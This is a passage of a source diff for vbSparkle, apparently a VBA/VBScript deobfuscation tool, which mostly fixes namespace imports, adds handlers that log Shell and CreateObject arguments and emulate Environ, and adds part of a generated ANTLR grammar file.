a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs @@ -1,7 +1,7 @@ using System.Collections.Generic; using System.Text; using vbSparkle.Options; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfBlockStmtContext.cs index 3f4d718..303a541 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfBlockStmtContext.cs @@ -1,5 +1,5 @@ using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfElseBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfElseBlockStmtContext.cs index 89a5894..4a6dd8f 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfElseBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfElseBlockStmtContext.cs @@ -1,5 +1,5 @@ using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfThenElseStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfThenElseStatement.cs index cd4eda3..5e47cd8 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfThenElseStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfThenElseStatement.cs @@ -1,6 +1,6 @@ using System.Collections.Generic; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbSelectCaseStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbSelectCaseStatement.cs index 829a809..ccc5fb7 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbSelectCaseStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbSelectCaseStatement.cs @@ -1,7 +1,7 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbWhileStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbWhileStatement.cs index cd76dd8..4553731 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbWhileStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbWhileStatement.cs @@ -1,6 +1,7 @@ using System.Collections.Generic; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbWithStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbWithStatement.cs index 61eb2b5..cf517d0 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbWithStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbWithStatement.cs @@ -1,6 +1,6 @@ using System.Linq; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs b/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs index 4e65da7..3ccda88 100644 --- a/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs +++ b/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs @@ -1,4 +1,5 @@ -using System; +using MathNet.Symbolics; +using System; using System.Collections.Generic; using System.Linq; using System.Text; @@ -112,6 +113,107 @@ public override DExpression Evaluate(params DExpression[] args) return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); } } + public class VB_EnvironS : VbNativeFunction + { + public VB_EnvironS(IVBScopeObject context) + : base(context, "Environ$") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + return new DSimpleStringExpression($"%{strArg}%", Encoding.Unicode, Context.Options); + } + } + + public class VB_Environ + : VbNativeFunction + { + public VB_Environ(IVBScopeObject context) + : base(context, "Environ") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + return new DSimpleStringExpression($"%{strArg}%", Encoding.Unicode, Context.Options); + } + } + + + public class VB_CreateObject + : VbNativeFunction + { + public VB_CreateObject(IVBScopeObject context) + : base(context, "CreateObject") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + if (Context?.Options?.CreateObjectObserver != null) + { + Context.Options.CreateObjectObserver.CreateObjectObserved.Add(strArg.Replace("\"\"", "\"")); + } + + return DefaultExpression(args); + } + } + + public class VB_Shell + : VbNativeFunction + { + public VB_Shell(IVBScopeObject context) + : base(context, "Shell") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + if (Context?.Options?.ShellObserver != null) + { + Context.Options.ShellObserver.ShellObserved.Add(strArg.Replace("\"\"", "\"")); + } + + return DefaultExpression(args); + } + } public class VB_Execute : VbNativeFunction diff --git a/Sources/vbSparkle/LanguageStatements/Literals/LiteralContext.cs b/Sources/vbSparkle/LanguageStatements/Literals/LiteralContext.cs index 177f4c4..c271af7 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/LiteralContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/LiteralContext.cs @@ -1,9 +1,9 @@ using System; using System.Collections.Generic; using System.Text; - -namespace vbSparkle -{ +using vbSparkle; +//namespace vbSparkle +//{ public partial class VBScriptParser { public partial class LiteralContext : ILiteralContext @@ -16,4 +16,4 @@ public partial class DelimitedLiteralContext : ILiteralContext } } -} +//} diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtBoolean.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtBoolean.cs index d951434..edd680a 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtBoolean.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtBoolean.cs @@ -1,6 +1,6 @@ using System; using vbSparkle.EvaluationObjects; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtColor.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtColor.cs index 69067ab..48dac25 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtColor.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtColor.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDateTime.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDateTime.cs index 11026a1..00aa742 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDateTime.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDateTime.cs @@ -1,6 +1,6 @@ using System; using vbSparkle.EvaluationObjects; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs index fe804b5..db773b7 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtFileNumber.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtFileNumber.cs index 15b0720..d9bd50d 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtFileNumber.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtFileNumber.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtInteger.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtInteger.cs index 1c1238f..e95e962 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtInteger.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtInteger.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtNothing.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtNothing.cs index 05949f8..5b3282d 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtNothing.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtNothing.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtNull.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtNull.cs index cc1290e..711734a 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtNull.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtNull.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtOctal.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtOctal.cs index 3e1be97..6a1d82a 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtOctal.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtOctal.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtString.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtString.cs index 3243643..e05e23e 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtString.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtString.cs @@ -1,6 +1,6 @@ using System.Text; using vbSparkle.EvaluationObjects; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBValueStatement.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBValueStatement.cs index 1e075d8..df647d2 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBValueStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBValueStatement.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAddressOfContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAddressOfContext.cs index 096ad10..64d4f12 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAddressOfContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAddressOfContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAssignContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAssignContext.cs index f91fd99..d6ae48d 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAssignContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAssignContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsDualOperation.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsDualOperation.cs index adf9aec..4311109 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsDualOperation.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsDualOperation.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsICSContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsICSContext.cs index f38d28f..c0e6d18 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsICSContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsICSContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsLiteralContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsLiteralContext.cs index 8f40c67..a0e95d5 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsLiteralContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsLiteralContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsNewContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsNewContext.cs index 8324a22..71324bd 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsNewContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsNewContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsStructContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsStructContext.cs index cbf1005..0cd4cda 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsStructContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsStructContext.cs @@ -1,6 +1,6 @@ using System.Collections.Generic; using System.Linq; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsTypeOfContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsTypeOfContext.cs index 6d74940..2d90c0c 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsTypeOfContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsTypeOfContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsUnaryOperation.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsUnaryOperation.cs index fb35429..6e9519a 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsUnaryOperation.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsUnaryOperation.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/VbLockUnlockArgsStatements.cs b/Sources/vbSparkle/LanguageStatements/VbLockUnlockArgsStatements.cs index dacb4de..c83dade 100644 --- a/Sources/vbSparkle/LanguageStatements/VbLockUnlockArgsStatements.cs +++ b/Sources/vbSparkle/LanguageStatements/VbLockUnlockArgsStatements.cs @@ -2,7 +2,7 @@ using Antlr4.Runtime.Tree; using System.Collections.Generic; using System.Linq; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs b/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs index 1685403..92c7ceb 100644 --- a/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs @@ -148,7 +148,13 @@ public override DExpression Prettify(bool partialEvaluation) } if (IsTypeDefined) + { + if (VType.ToLower() == "string") + { + this.Context.SetVarValue(IdentifiedObject.Identifier, new DSimpleStringExpression(string.Empty, System.Text.Encoding.Unicode, this.Context.Options)); + } return new DCodeBlock(codeBlock + " As " + VType); + } else return new DCodeBlock(codeBlock); diff --git a/Sources/vbSparkle/LanguageStatements/VbWithArgsStatements.cs b/Sources/vbSparkle/LanguageStatements/VbWithArgsStatements.cs index 9a26ed0..79341d6 100644 --- a/Sources/vbSparkle/LanguageStatements/VbWithArgsStatements.cs +++ b/Sources/vbSparkle/LanguageStatements/VbWithArgsStatements.cs @@ -2,7 +2,7 @@ using Antlr4.Runtime.Tree; using System.Collections.Generic; using System.Linq; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/Objects/NativeObjectManager.cs b/Sources/vbSparkle/Objects/NativeObjectManager.cs index 7404973..334acaa 100644 --- a/Sources/vbSparkle/Objects/NativeObjectManager.cs +++ b/Sources/vbSparkle/Objects/NativeObjectManager.cs @@ -127,11 +127,11 @@ public NativeObjectManager() Add(new NativeMethods.VB_MonitoringFunction(this, "Choose")); Add(new NativeMethods.VB_MonitoringFunction(this, "Command")); Add(new NativeMethods.VB_MonitoringFunction(this, "Command$")); - Add(new NativeMethods.VB_MonitoringFunction(this, "CreateObject")); + Add(new NativeMethods.VB_CreateObject(this)); Add(new NativeMethods.VB_MonitoringFunction(this, "DeleteSetting")); Add(new NativeMethods.VB_MonitoringFunction(this, "DoEvents")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Environ")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Environ$")); + Add(new NativeMethods.VB_Environ(this)); + Add(new NativeMethods.VB_EnvironS(this)); Add(new NativeMethods.VB_Execute(this)); Add(new NativeMethods.VB_MonitoringFunction(this, "GetAllSettings")); Add(new NativeMethods.VB_MonitoringFunction(this, "GetObject")); @@ -142,7 +142,7 @@ public NativeObjectManager() Add(new NativeMethods.VB_MonitoringFunction(this, "Partition")); Add(new NativeMethods.VB_MonitoringFunction(this, "SaveSetting")); Add(new NativeMethods.VB_MonitoringFunction(this, "SendKeys")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Shell")); + Add(new NativeMethods.VB_Shell(this)); Add(new NativeMethods.VB_MonitoringFunction(this, "Switch")); // TODO // Information diff --git a/Sources/vbSparkle/Options/EvaluatorOptions.cs b/Sources/vbSparkle/Options/EvaluatorOptions.cs index e4b85ac..bc63587 100644 --- a/Sources/vbSparkle/Options/EvaluatorOptions.cs +++ b/Sources/vbSparkle/Options/EvaluatorOptions.cs @@ -19,11 +19,17 @@ public class CreateObjectObserver public List CreateObjectObserved { get; set; } = new List(); } + public class ShellObserver + { + public List ShellObserved { get; set; } = new List(); + } + public class EvaluatorOptions { public LargeStringAllocationObserver LargeStringAllocationObserver { get;set;} = null; public ExecuteObserver ExecuteObserver { get; set; } = null; public CreateObjectObserver CreateObjectObserver { get; set; } = null; + public ShellObserver ShellObserver { get; set; } = null; public SymbolRenamingMode SymbolRenamingMode { get; set; } = SymbolRenamingMode.None; public JunkCodeProcessingMode JunkCodeProcessingMode { get; set; } = JunkCodeProcessingMode.Comment; diff --git a/Sources/vbSparkle/PreProcessor/PreProcessorParser.cs b/Sources/vbSparkle/PreProcessor/PreProcessorParser.cs index cb86265..c9ce44c 100644 --- a/Sources/vbSparkle/PreProcessor/PreProcessorParser.cs +++ b/Sources/vbSparkle/PreProcessor/PreProcessorParser.cs @@ -3,8 +3,6 @@ using System.Collections.Generic; using System.Text; -namespace vbSparkle -{ public partial class VBPreprocessorsParser { public partial class LiteralContext : ILiteralContext @@ -21,4 +19,3 @@ public interface ILiteralContext : IRuleNode, IParseTree, ISyntaxTree, ITree { } } -} diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBMacroValueStatement.cs b/Sources/vbSparkle/PreProcessor/Statements/VBMacroValueStatement.cs index 155c57b..824c69a 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBMacroValueStatement.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBMacroValueStatement.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBValueStatement.cs b/Sources/vbSparkle/PreProcessor/Statements/VBValueStatement.cs index a03c51e..fc69d57 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBValueStatement.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBValueStatement.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBVsConstContext.cs b/Sources/vbSparkle/PreProcessor/Statements/VBVsConstContext.cs index e6f1592..e24c1a2 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBVsConstContext.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBVsConstContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBVsDualOperation.cs b/Sources/vbSparkle/PreProcessor/Statements/VBVsDualOperation.cs index 74730d4..4de66a4 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBVsDualOperation.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBVsDualOperation.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBVsLiteralContext.cs b/Sources/vbSparkle/PreProcessor/Statements/VBVsLiteralContext.cs index 9085e3c..823edba 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBVsLiteralContext.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBVsLiteralContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBVsStructContext.cs b/Sources/vbSparkle/PreProcessor/Statements/VBVsStructContext.cs index 2ddc695..6aa9f6f 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBVsStructContext.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBVsStructContext.cs @@ -1,6 +1,6 @@ using System.Collections.Generic; using System.Linq; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBVsUnaryOperation.cs b/Sources/vbSparkle/PreProcessor/Statements/VBVsUnaryOperation.cs index c0ad1ad..e26e579 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBVsUnaryOperation.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBVsUnaryOperation.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtBoolean.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtBoolean.cs index 7014c59..f7d4b07 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtBoolean.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtBoolean.cs @@ -1,6 +1,6 @@ using System; using vbSparkle.EvaluationObjects; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtColor.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtColor.cs index b6465f3..4c6f606 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtColor.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtColor.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtDateTime.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtDateTime.cs index ba7b600..7ec34f5 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtDateTime.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtDateTime.cs @@ -1,6 +1,6 @@ using System; using vbSparkle.EvaluationObjects; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtDouble.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtDouble.cs index 06f65a0..b3f9f7d 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtDouble.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtDouble.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtInteger.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtInteger.cs index 79f47c4..cb1bfdb 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtInteger.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtInteger.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtOctal.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtOctal.cs index 333c7cd..c2e2d06 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtOctal.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtOctal.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtString.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtString.cs index d94a440..db87442 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtString.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtString.cs @@ -1,6 +1,6 @@ using System.Text; using vbSparkle.EvaluationObjects; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/VBPreprocessors.interp b/Sources/vbSparkle/VBPreprocessors.interp new file mode 100644 index 0000000..10b1eaa --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessors.interp @@ -0,0 +1,191 @@ +token literal names: +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +'&' +'@' +',' +null +'.' +'=' +'!' +'>=' +'>' +'#' +'<=' +'{' +'(' +'<' +'-' +'*' +'<>' +'+' +'^' +'}' +')' +';' +'[' +']' +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null + +token symbolic names: +null +MACRO_CONST +AND +ATTRIBUTE +BEGIN +BEGINPROPERTY +CLASS +CONST +ELSE +ELSEIF +END_IF +END +ENDPROPERTY +EQV +FALSE +IF +IMP +IS +LIKE +MACRO_IF +MACRO_ELSEIF +MACRO_ELSE +MACRO_END_IF +MOD +NOT +NOTHING +NULL +OBJECT +OR +THEN +TRUE +VERSION +XOR +AMPERSAND +AT +COMMA +DIV +DOT +EQ +EXCLAMATIONMARK +GEQ +GT +HASH +LEQ +LBRACE +LPAREN +LT +MINUS +MULT +NEQ +PLUS +POW +RBRACE +RPAREN +SEMICOLON +L_SQUARE_BRACKET +R_SQUARE_BRACKET +STRINGLITERAL +DATELITERAL +HEXLITERAL +INTEGERLITERAL +DOUBLELITERAL +FILENUMBER +OCTALLITERAL +GUID +NEWLINE +IDENTIFIER +COMMENT +LINE_CONTINUATION +WS +ANYCHAR +REM +LABEL_L + +rule names: +startRule +macroConst +codeBlock +codeBlockBody +nonMacroCodeBlockX +moduleInfo +moduleReferences +moduleReference +moduleReferenceValue +moduleReferenceComponent +moduleHeader +moduleConfig +moduleConfigElement +ambiguousIdentifier +moduleAttributes +macroIfThenElseStmt +macroIfBlockCondStmt +macroIfBlockStmt +macroElseIfBlockStmt +macroElseBlockStmt +commentBlock +lineLabel +nonMacroCodeBlockLine +nonMacroCodeStmt +controlProperties +cp_Properties +cp_NestedProperty +cp_ControlType +complexType +cp_ControlIdentifier +attributeStmt +ifConditionStmt +valueStmt +delimitedLiteral +literal +anytoken + + +atn: +[4, 1, 72, 677, 2, 0, 7, 0, 2, 1, 7, 1, 2, 2, 7, 2, 2, 3, 7, 3, 2, 4, 7, 4, 2, 5, 7, 5, 2, 6, 7, 6, 2, 7, 7, 7, 2, 8, 7, 8, 2, 9, 7, 9, 2, 10, 7, 10, 2, 11, 